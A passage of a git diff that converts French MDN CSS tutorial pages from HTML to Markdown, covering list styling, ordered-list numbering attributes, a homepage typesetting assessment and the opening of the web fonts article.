puces soient de même taille que les éléments de la liste (ou légèrement plus petites ou plus grandes). Nous utilisons une taille de <code>1.6rem</code> (<code>16px</code>), qui correspond bien au remplissage de <code>20px</code> dans lequel la puce est placée — 16 px plus 4 px d'espace entre la puce et le texte de l'élément de liste fonctionne bien.</li> - <li>{{cssxref("background-repeat")}} : par défaut, les images d'arrière-plan se répètent jusqu'à avoir rempli l'espace d'arrière-plan disponible. Nous voulons l'insertion d'une seule copie de l'image sans répétition, donc nous choisissons la valeur <code>no-repeat</code>.</li> - </ul> - </li> -</ul> +- abaissé la valeur de la propriété {{cssxref ("padding-left")}} de l'élément {{htmlelement ("ul")}} de `40px` par défaut à `20px`, puis défini la même valeur pour les éléments de la liste. Ainsi, l'ensemble des éléments d'une liste non ordonnée seront toujours alignés avec les éléments d'une liste ordonnée et les descriptions d'une liste descriptive; tout en disposant d'un remplissage où les images d'arrière-plan seront placées. Si nous ne le faisions pas, les images d'arrière-plan et le texte de l'élément de liste se superposeraient, ce qui ferait brouillon. +- défini la propriété {{cssxref("list-style-type")}} à `none`, ainsi aucune puce par défaut n'apparaît. Nous allons utiliser les propriétés de {{cssxref("background")}} pour gérer les puces. +- inséré une puce pour chaque élément de la liste désordonnée. Les propriétés pertinentes sont les suivantes : -<p>Ceci nous donne le résultat suivant :</p> + - {{cssxref("background-image")}} : référence du chemin d'accès au fichier image utilisé comme puce. + - {{cssxref("background-position")}} : emplacement de l'image dans l'arrière-plan de l'élément sélectionné — dans ce cas, nous disons `0 0` : la puce apparaîtra dans le coin supérieur gauche de chaque élément de la liste. + - {{cssxref("background-size")}} : taille de l'image d'arrière-plan. L'idéal est que les puces soient de même taille que les éléments de la liste (ou légèrement plus petites ou plus grandes). Nous utilisons une taille de `1.6rem` (`16px`), qui correspond bien au remplissage de `20px` dans lequel la puce est placée — 16 px plus 4 px d'espace entre la puce et le texte de l'élément de liste fonctionne bien. + - {{cssxref("background-repeat")}} : par défaut, les images d'arrière-plan se répètent jusqu'à avoir rempli l'espace d'arrière-plan disponible. Nous voulons l'insertion d'une seule copie de l'image sans répétition, donc nous choisissons la valeur `no-repeat`. -<p><img alt="une liste non ordonnée avec les puces définies comme de petites images d'étoiles." src="ex_3.png"></p> +Ceci nous donne le résultat suivant : -<h3 id="Raccourci_de_style_de_liste">Raccourci de style de liste</h3> + -<p>Les 3 propriétés mentionnées ci-dessus peuvent toutes être définies en utilisant la propriété abrégée {{cssxref("list-style")}}. Par exemple, le CSS suivant :</p> +### Raccourci de style de liste -<pre class="brush: css">ul { +Les 3 propriétés mentionnées ci-dessus peuvent toutes être définies en utilisant la propriété abrégée {{cssxref("list-style")}}. Par exemple, le CSS suivant : + +```css +ul { list-style-type: square; list-style-image: url(example.png); list-style-position: inside; -}</pre> +} +``` -<p>peut être remplacé par cela :</p> +peut être remplacé par cela : -<pre>ul { - list-style: square url(example.png) inside; -}</pre> + ul { + list-style: square url(example.png) inside; + } -<p>Les valeurs peuvent être listées dans n'importe quel ordre et vous pouvez en mentionner une, deux ou les trois (les valeurs par défaut utilisées pour les propriétés non-citées sont <code>disc</code>, <code>none</code> et <code>outside</code>. Si un <code>type</code> et une <code>image</code> sont donnés, le type sera affiché en solution de repli dans le cas où l'image ne peut pas être chargée pour une raison quelconque.</p> +Les valeurs peuvent être listées dans n'importe quel ordre et vous pouvez en mentionner une, deux ou les trois (les valeurs par défaut utilisées pour les propriétés non-citées sont `disc`, `none` et `outside`. Si un `type` et une `image` sont donnés, le type sera affiché en solution de repli dans le cas où l'image ne peut pas être chargée pour une raison quelconque. -<h2 id="Contrôle_du_numérotage_des_listes">Contrôle du numérotage des listes</h2> +## Contrôle du numérotage des listes -<p>Parfois, vous pouvez vouloir numéroter différemment une liste ordonnée — par ex., à partir d'un nombre autre que 1 ou en comptant à rebours ou en comptant par pas supérieur à 1. HTML et CSS ont quelques outils pour vous le permettre.</p> +Parfois, vous pouvez vouloir numéroter différemment une liste ordonnée — par ex., à partir d'un nombre autre que 1 ou en comptant à rebours ou en comptant par pas supérieur à 1. HTML et CSS ont quelques outils pour vous le permettre. -<h3 id="Numéro_de_départ">Numéro de départ</h3> +### Numéro de départ -<p>L'attribut {{htmlattrxref("start","ol")}} vous permet de commencer le numérotage de la liste à partir d'un nombreautre que 1. L'exemple suivant :</p> +L'attribut {{htmlattrxref("start","ol")}} vous permet de commencer le numérotage de la liste à partir d'un nombreautre que 1. L'exemple suivant : -<pre class="brush: html"><ol start="4"> - <li>Faire griller le pain pitta, laisser refroidir, puis le trancher sur le côté.</li> - <li>Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> - <li>Laver et hacher la salade.</li> - <li>Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> -</ol></pre> +```html +<ol start="4"> + <li>Faire griller le pain pitta, laisser refroidir, puis le trancher sur le côté.</li> + <li>Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> + <li>Laver et hacher la salade.</li> + <li>Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> +</ol> +``` -<p>vous donne cette sortie :</p> +vous donne cette sortie : -<p>{{ EmbedLiveSample('Numéro_de_départ', '100%', 150) }}</p> +{{ EmbedLiveSample('Numéro_de_départ', '100%', 150) }} -<h3 id="Numérotation_inversée">Numérotation inversée</h3> +### Numérotation inversée -<p>L'attribut {{htmlattrxref("reversed","ol")}} inverse la numérotation de la liste. L'exemple suivant :</p> +L'attribut {{htmlattrxref("reversed","ol")}} inverse la numérotation de la liste. L'exemple suivant : -<pre class="brush: html"><ol start="4" reversed> - <li>Faire griller le pain pitta, le laisser refroidir, puis le trancher sur le côté.</li> - <li>Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> - <li>Laver et hacher la salade.</li> - <li>Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> -</ol></pre> +```html +<ol start="4" reversed> + <li>Faire griller le pain pitta, le laisser refroidir, puis le trancher sur le côté.</li> + <li>Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> + <li>Laver et hacher la salade.</li> + <li>Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> +</ol> +``` -<p>donne cette sortie :</p> +donne cette sortie : -<p>{{ EmbedLiveSample('Numérotation_inversée', '100%', 150) }}</p> +{{ EmbedLiveSample('Numérotation_inversée', '100%', 150) }} -<h3 id="Valeurs_individualisées">Valeurs individualisées</h3> +### Valeurs individualisées -<p>L'attribut {{htmlattrxref("value","ol")}} vous permet de numéroter les éléments de liste avec des valeurs numériques de votre choix . L'exemple suivant :</p> +L'attribut {{htmlattrxref("value","ol")}} vous permet de numéroter les éléments de liste avec des valeurs numériques de votre choix . L'exemple suivant : -<pre class="brush: html"><ol> - <li value="2">Faire griller le pain pitta, laisser refroidir, puis le trancher sur le côté.</li> - <li value="4">Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> - <li value="6">Laver et hacher la salade.</li> - <li value="8">Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> -</ol></pre> +```html +<ol> + <li value="2">Faire griller le pain pitta, laisser refroidir, puis le trancher sur le côté.</li> + <li value="4">Frire l'halloumi dans une poêle plate antiadhésive, jusqu'à ce qu'il soit doré des deux côtés.</li> + <li value="6">Laver et hacher la salade.</li> + <li value="8">Mettre la salade, l'houmous et l'halloumi frit entre les tranches de pain.</li> +</ol> +``` -<p>vous donne cette sortie :</p> +vous donne cette sortie : -<p>{{ EmbedLiveSample('Valeurs_individualisées', '100%', 150) }}</p> +{{ EmbedLiveSample('Valeurs_individualisées', '100%', 150) }} -<div class="note"> -<p><strong>Note :</strong> Même si vous utilisez une propriété {{cssxref ("type-style-list")}} avec des caractères non‑numériques, vous devez toujours utiliser les valeurs numériques équivalentes avec l'attribut <code>value</code>.</p> -</div> +> **Note :** Même si vous utilisez une propriété {{cssxref ("type-style-list")}} avec des caractères non‑numériques, vous devez toujours utiliser les valeurs numériques équivalentes avec l'attribut `value`. -<h2 id="Apprentissage_actif_définir_le_style_d'une_liste_imbriquée">Apprentissage actif : définir le style d'une liste imbriquée</h2> +## Apprentissage actif : définir le style d'une liste imbriquée -<p>Dans cette session d'apprentissage actif, vous devez utiliser ce que vous avez appris ci-dessus en donnant un certain style à une liste imbriquée. Avec le code HTML fourni, nous vous demandons de :</p> +Dans cette session d'apprentissage actif, vous devez utiliser ce que vous avez appris ci-dessus en donnant un certain style à une liste imbriquée. Avec le code HTML fourni, nous vous demandons de : -<ol> - <li>mettre une puce carrée devant les éléments de la liste non ordonnée,</li> - <li>donner aux éléments des listes, ordonnées ou non, une hauteur de ligne de 1.5 fois la taille de la police de caractères.</li> - <li>donner à la liste ordonnée une puce alphabétique en minuscules.</li> - <li>ne pas hésiter à jouer avec l'exemple de liste autant que vous le souhaitez, en expérimentant les types de puces, l'espacement ou tout ce que vous pouvez trouver.</li> -</ol> +1. mettre une puce carrée devant les éléments de la liste non ordonnée, +2. donner aux éléments des listes, ordonnées ou non, une hauteur de ligne de 1.5 fois la taille de la police de caractères. +3. donner à la liste ordonnée une puce alphabétique en minuscules. +4. ne pas hésiter à jouer avec l'exemple de liste autant que vous le souhaitez, en expérimentant les types de puces, l'espacement ou tout ce que vous pouvez trouver. -<p>Si vous faites une erreur, vous pourrez toujours tout remettre à zéro avec le bouton <em>Réinitialiser</em>. Si vous êtes vraiment bloqué, pressez le bouton <em>Voir la solution</em> pour voir une réponse possible.</p> +Si vous faites une erreur, vous pourrez toujours tout remettre à zéro avec le bouton _Réinitialiser_. Si vous êtes vraiment bloqué, pressez le bouton _Voir la solution_ pour voir une réponse possible. -<pre class="brush: html hidden"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> - <h2>Zone de saisie du HTML</h2> - <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><ul> - <li>D'abord, allumez la chandelle.</li> - <li>Ensuite, ouvrez la boîte.</li> - <li>Puis, mettez les trois objets magiques dans la +```html hidden +<div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>Zone de saisie du HTML</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><ul> + <li>D'abord, allumez la chandelle.</li> + <li>Ensuite, ouvrez la boîte.</li> + <li>Puis, mettez les trois objets magiques dans la boîte, dans cet ordre exactement, pour terminer le charme : - <ol> - <li>le livre de sorts,</li> - <li>la baguette brillante,</li> - <li>la statue du lutin.</li> - </ol> - </li> -</ul></textarea> - - <h2>Zone de saisie de la CSS</h2> - <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></textarea> - - <h2>Zone de rendu</h2> - <div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"></div> - <div class="controls"> - <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> - <input id="solution" type="button" value="Voir la solution" style="margin: 10px 0 0 10px;"> - </div> -</div> -</pre> - -<pre class="brush: js hidden">var htmlInput = document.querySelector(".html-input"); + <ol> + <li>le livre de sorts,</li> + <li>la baguette brillante,</li> + <li>la statue du lutin.</li> + </ol> + </li> +</ul></textarea> + + <h2>Zone de saisie de la CSS</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></textarea> + + <h2>Zone de rendu</h2> + <div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"></div> + <div class="controls"> + <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> + <input id="solution" type="button" value="Voir la solution" style="margin: 10px 0 0 10px;"> + </div> +</div> +``` + +```js hidden +var htmlInput = document.querySelector(".html-input"); var cssInput = document.querySelector(".css-input"); var reset = document.getElementById("reset"); var htmlCode = htmlInput.value; @@ -359,35 +378,30 @@ solution.addEventListener("click", function() { htmlInput.addEventListener("input", drawOutput); cssInput.addEventListener("input", drawOutput); window.addEventListener("load", drawOutput); -</pre> -</div> +``` -<p>{{ EmbedLiveSample("Apprentissage_actif_définir_le_style_d'une_liste_imbriquée", 700, 800) }}</p> +{{ EmbedLiveSample("Apprentissage_actif_définir_le_style_d'une_liste_imbriquée", 700, 800) }} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<p>Les compteurs CSS fournissent des outils avancés pour personnaliser le comptage et le style des listes, mais ils sont assez complexes. Nous vous recommandons de les examiner si vous voulez vous étendre sur le sujet. Voir :</p> +Les compteurs CSS fournissent des outils avancés pour personnaliser le comptage et le style des listes, mais ils sont assez complexes. Nous vous recommandons de les examiner si vous voulez vous étendre sur le sujet. Voir : -<ul> - <li>{{cssxref("@counter-style")}}</li> - <li>{{cssxref("counter-increment")}}</li> - <li>{{cssxref("counter-reset")}}</li> -</ul> +- {{cssxref("@counter-style")}} +- {{cssxref("counter-increment")}} +- {{cssxref("counter-reset")}} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Les listes sont relativement faciles à saisir lorsque vous connaissez les quelques principes de base associés et les propriétés spécifiques. Dans le prochain article, nous allons évoquer des techniques de style des liens.</p> +Les listes sont relativement faciles à saisir lorsque vous connaissez les quelques principes de base associés et les propriétés spécifiques. Dans le prochain article, nous allons évoquer des techniques de style des liens. -<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p> +{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<p> </p> -<ul> - <li><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Initiation à la mise en forme du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Styling_lists">Style de listes</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens">Mise en forme des liens</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Web_fonts">Polices de caractères web</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">Composition d'une page d'accueil d'une école communale</a></li> -</ul> + +- [Initiation à la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte) +- [Style de listes](/fr/docs/Learn/CSS/Styling_text/Styling_lists) +- [Mise en forme des liens](/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens) +- [Polices de caractères web](/fr/docs/Learn/CSS/Styling_text/Web_fonts) +- [Composition d'une page d'accueil d'une école communale](/fr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage) diff --git a/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md b/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md index d237b8f377..fa70e80c22 100644 --- a/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md +++ b/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md @@ -13,114 +13,100 @@ tags: - Listes translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}} -<div>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div> - -<p>Dans cette évaluation, nous testerons votre compréhension de toutes les techniques pour la composition de textes à l'écran présentées au cours de ce module : elle consiste à créer la page d'accueil du site d'une école communale. Vous ne devriez avoir que du plaisir tout au long de ce parcours.</p> +Dans cette évaluation, nous testerons votre compréhension de toutes les techniques pour la composition de textes à l'écran présentées au cours de ce module : elle consiste à créer la page d'accueil du site d'une école communale. Vous ne devriez avoir que du plaisir tout au long de ce parcours. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de tenter cette évaluation, il faut que vous ayez déjà travaillé tous les articles de ce module.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Tester la compréhension de la composition de textes à l'écran avec les techniques des CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de tenter cette évaluation, il faut que vous ayez déjà travaillé + tous les articles de ce module. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Tester la compréhension de la composition de textes à l'écran avec les + techniques des CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ + +Pour débuter cette évaluation, vous devez : + +- récupérer les fichiers [HTML](https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/index.html) et [CSS](https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/style.css) de l'exercice ainsi que [le lien externe sur l'icône](https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/external-link-52.png). +- en faire une copie sur votre ordinateur. -<p>Pour débuter cette évaluation, vous devez :</p> +> **Note :** Autrement, il reste possible d'utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire votre évaluation. Collez le HTML et remplissez la CSS dans l'un de ces éditeurs en ligne ; utilisez [cet URL](http://mdn.github.io/learning-area/css/styling-text/typesetting-a-homepage-start/external-link-52.png) pour pointer sur l'image de fond. Si l'éditeur en ligne que vous utilisez n'a pas de panneau CSS séparé, vous pouvez l'intégrer dans un élément `<style>` de l'élément `head` du document. -<ul> - <li>récupérer les fichiers <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/index.html">HTML</a> et <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/style.css">CSS</a> de l'exercice ainsi que <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/external-link-52.png">le lien externe sur l'icône</a>.</li> - <li>en faire une copie sur votre ordinateur.</li> -</ul> +## Énoncé de l'exercice -<div class="note"> -<p><strong>Note :</strong> Autrement, il reste possible d'utiliser un site comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour faire votre évaluation. Collez le HTML et remplissez la CSS dans l'un de ces éditeurs en ligne ; utilisez <a href="http://mdn.github.io/learning-area/css/styling-text/typesetting-a-homepage-start/external-link-52.png">cet URL</a> pour pointer sur l'image de fond. Si l'éditeur en ligne que vous utilisez n'a pas de panneau CSS séparé, vous pouvez l'intégrer dans un élément <code><style></code> de l'élément <code>head</code> du document.</p> -</div> +Nous mettons à votre disposition un HTML pour la page d'accueil du site internet d'un collège de communauté imaginaire, plus certains éléments de la CSS composant la page sur deux colonnes et fournissant d'autres rudiments de composition. Vous devez écrire des compléments à la CSS sous le commentaire au bas du fichier de façon à pouvoir marquer aisément vos ajouts. Ne vous tracassez pas si certains sélecteurs sont répétés : nous laisserons ce point de côté dans cet exemeple. -<h2 id="Énoncé_de_l'exercice">Énoncé de l'exercice</h2> +Fontes : -<p>Nous mettons à votre disposition un HTML pour la page d'accueil du site internet d'un collège de communauté imaginaire, plus certains éléments de la CSS composant la page sur deux colonnes et fournissant d'autres rudiments de composition. Vous devez écrire des compléments à la CSS sous le commentaire au bas du fichier de façon à pouvoir marquer aisément vos ajouts. Ne vous tracassez pas si certains sélecteurs sont répétés : nous laisserons ce point de côté dans cet exemeple.</p> +- Primo, téléchargez quelques polices gratuites. Comme il s'agit d'un collège, les polices choisies doivent donner à la page une impression de sérieux, de formalisme et de confiance — une police sérif ample pour le corps du texte général, associée une police sans sérif ou bloc sérif pour les en-têtes serait pas mal. +- Ensuite, utilisez le service ad-hoc pour créer le « bulletproof `@font-face` code » pour ces deux fontes. +- Appliquez la police pour le corps à toute la page et celle pour les titres aux en‑têtes. -<p>Fontes :</p> +Style général du texte : -<ul> - <li>Primo, téléchargez quelques polices gratuites. Comme il s'agit d'un collège, les polices choisies doivent donner à la page une impression de sérieux, de formalisme et de confiance — une police sérif ample pour le corps du texte général, associée une police sans sérif ou bloc sérif pour les en-têtes serait pas mal.</li> - <li>Ensuite, utilisez le service ad-hoc pour créer le « bulletproof <code>@font-face</code> code » pour ces deux fontes.</li> - <li>Appliquez la police pour le corps à toute la page et celle pour les titres aux en‑têtes.</li> -</ul> +- Donnez à la page une propriété `font-size` de `10px` sur tout le site. +- Donnez aux titres et autres types d'éléments des tailles de polices appropriées définie avec une unité relative adéquate. +- Donnez au corps du texte une propriété `line-height` appropriée. +- Centrez le titre d'en-tête sue la page. +- Augmentez légérement la valeur de la propriété `letter-spacing` des titres pour qu'ils ne paraissent pas trop écrasés en donnant un peu d'air aux lettres. +- Donnez au corps du texte une valeur de propriété `letter-spacing` et `word-spacing` appropriée. +- Donnez au premier paragraphe après chaque titre dans `<section>` une légère indentation, disons 20px. -<p>Style général du texte :</p> +Liens : -<ul> - <li>Donnez à la page une propriété <code>font-size</code> de <code>10px</code> sur tout le site.</li> - <li>Donnez aux titres et autres types d'éléments des tailles de polices appropriées définie avec une unité relative adéquate.</li> - <li>Donnez au corps du texte une propriété <code>line-height</code> appropriée.</li> - <li>Centrez le titre d'en-tête sue la page.</li> - <li>Augmentez légérement la valeur de la propriété <code>letter-spacing</code> des titres pour qu'ils ne paraissent pas trop écrasés en donnant un peu d'air aux lettres.</li> - <li>Donnez au corps du texte une valeur de propriété <code>letter-spacing</code> et <code>word-spacing</code> appropriée.</li> - <li>Donnez au premier paragraphe après chaque titre dans <code><section></code> une légère indentation, disons 20px.</li> -</ul> +- Donnez aux liens, visités, ciblés et survolés des couleurs en accord avec celles des barres horizontales en haut et en bas de la page. +- Faites en sorte que les liens soient soulignés par défaut, mais que le soulignement disparaisse lorsqu'ils sont ciblés ou survolés. +- Supprimez le soulignement du focus par défaut de TOUS les liens de la page. +- Donnez à l'état actif un style sensiblement différent pour qu'il se démarque bien, mais faites en sorte qu'il s'intègre à la conception globale de la page. +- Faites en sorte que l'icône de lien externe soit insérée à côté des liens externes. -<p>Liens :</p> +Listes : -<ul> - <li>Donnez aux liens, visités, ciblés et survolés des couleurs en accord avec celles des barres horizontales en haut et en bas de la page.</li> - <li>Faites en sorte que les liens soient soulignés par défaut, mais que le soulignement disparaisse lorsqu'ils sont ciblés ou survolés.</li> - <li>Supprimez le soulignement du focus par défaut de TOUS les liens de la page.</li> - <li>Donnez à l'état actif un style sensiblement différent pour qu'il se démarque bien, mais faites en sorte qu'il s'intègre à la conception globale de la page.</li> - <li>Faites en sorte que l'icône de lien externe soit insérée à côté des liens externes.</li> -</ul> +- Assurez-vous que l'espacement des listes et éléments de liste s'accorde bien avec le style d'ensemble de la page. Chaque élément de liste doit avoir la même valeur de propriété `line-height` qu'une ligne de paragraphe et chaque liste doit avoir le même espacement en haut et en bas que celui entre les paragraphes. +- Mettez une belle puce, appropriée à la conception de la page, devant les éléments de la liste. À vous de décider si vous choisissez une image personnalisée ou autre chose. -<p>Listes :</p> +Menu de navigation : -<ul> - <li>Assurez-vous que l'espacement des listes et éléments de liste s'accorde bien avec le style d'ensemble de la page. Chaque élément de liste doit avoir la même valeur de propriété <code>line-height</code> qu'une ligne de paragraphe et chaque liste doit avoir le même espacement en haut et en bas que celui entre les paragraphes.</li> - <li>Mettez une belle puce, appropriée à la conception de la page, devant les éléments de la liste. À vous de décider si vous choisissez une image personnalisée ou autre chose.</li> -</ul> +- Donnez à votre menu de navigation un style tel que son aspect soit en accord avec l'apparence et la convivialité de la page. -<p>Menu de navigation :</p> +## Conseils et astuces -<ul> - <li>Donnez à votre menu de navigation un style tel que son aspect soit en accord avec l'apparence et la convivialité de la page.</li> -</ul> +- Il n'y a pas besoin de modifier le HTML en quoi que ce soit pour cet exercice. +- Le menu de navigation n'est pas forcément à représenter sous forme de boutons, mais il doit être un peu plus grand pour ne pas avoir l'air riquiqui sur le côté de la page ; n'oubliez pas non plus que sa disposition doit être verticale. -<h2 id="Conseils_et_astuces">Conseils et astuces</h2> +## Exemple -<ul> - <li>Il n'y a pas besoin de modifier le HTML en quoi que ce soit pour cet exercice.</li> - <li>Le menu de navigation n'est pas forcément à représenter sous forme de boutons, mais il doit être un peu plus grand pour ne pas avoir l'air riquiqui sur le côté de la page ; n'oubliez pas non plus que sa disposition doit être verticale.</li> -</ul> +La capture d'écran ci-après montre un exemple possible du design terminé : -<h2 id="Exemple">Exemple</h2> + -<p>La capture d'écran ci-après montre un exemple possible du design terminé :</p> +## Évaluation -<p><img alt="" src="example2.png"></p> +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abors, il n'y rien à gagner en trichant ! -<h2 id="Évaluation">Évaluation</h2> +{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}} -<p>Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur <a class="external external-icon" href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682" rel="noopener">le fil de discussion à propos de cet exercice</a> ou par l'intermédiaire du canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a class="external external-icon" href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a>. Faites l'exercice d'abors, il n'y rien à gagner en trichant !</p> -<p>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> -<p> </p> +## Dans ce module -<h2 id="Dans_ce_module">Dans ce module</h2> -<p> </p> -<ul> - <li><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Initiation à la mise en forme du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Styling_lists">Style de listes</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens">Mise en forme des liens</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Web_fonts">Polices de caractères web</a></li> - <li>Composition d'une page d'accueil d'une école de communauté</li> -</ul> +- [Initiation à la mise en forme du texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte) +- [Style de listes](/fr/docs/Learn/CSS/Styling_text/Styling_lists) +- [Mise en forme des liens](/fr/docs/Learn/CSS/Styling_text/Mise_en_forme_des_liens) +- [Polices de caractères web](/fr/docs/Learn/CSS/Styling_text/Web_fonts) +- Composition d'une page d'accueil d'une école de communauté diff --git a/files/fr/learn/css/styling_text/web_fonts/index.md b/files/fr/learn/css/styling_text/web_fonts/index.md index f1cafd3f21..3374ac8986 100644 --- a/files/fr/learn/css/styling_text/web_fonts/index.md +++ b/files/fr/learn/css/styling_text/web_fonts/index.md @@ -3,162 +3,159 @@ title: Fontes Web slug: Learn/CSS/Styling_text/Web_fonts translation_of: Learn/CSS/Styling_text/Web_fonts --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}} -<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</div> - -<p>Dans le premier article du module, nous avons exploré les fonctions CSS de base disponibles pour composer du texte. Dans cet article, nous allons plus loin et explorons les polices web en détail : comment télécharger des polices personnalisées en même temps que la page Web, pour donner un style plus varié et personnalisé au texte.</p> +Dans le premier article du module, nous avons exploré les fonctions CSS de base disponibles pour composer du texte. Dans cet article, nous allons plus loin et explorons les polices web en détail : comment télécharger des polices personnalisées en même temps que la page Web, pour donner un style plus varié et personnalisé au texte. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, les bases HTML (étudiées dans l'<a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>), les bases CSS (étudiées dans <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction à CSS</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre comment appliquer des fontes web à une page web, soit avec un service tierce partie, soit en écrivant vous-même le code.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances informatiques de base, les bases HTML (étudiées dans l'<a + href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction au HTML</a + >), les bases CSS (étudiées dans + <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction à CSS</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre comment appliquer des fontes web à une page web, soit avec un + service tierce partie, soit en écrivant vous-même le code. + </td> + </tr> + </tbody> </table> -<h2 id="Rappel_familles_de_fontes">Rappel : familles de fontes</h2> +## Rappel : familles de fontes -<p>Comme nous l'avons vu dans <a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Initiation à la mise en forme du texte</a>, les fontes appliquées aux HTML sont contrôlées par la propriété {{cssxref("font-family")}}. Elle accepte un ou plusieurs noms de familles de fontes et le navigateur parcourt la 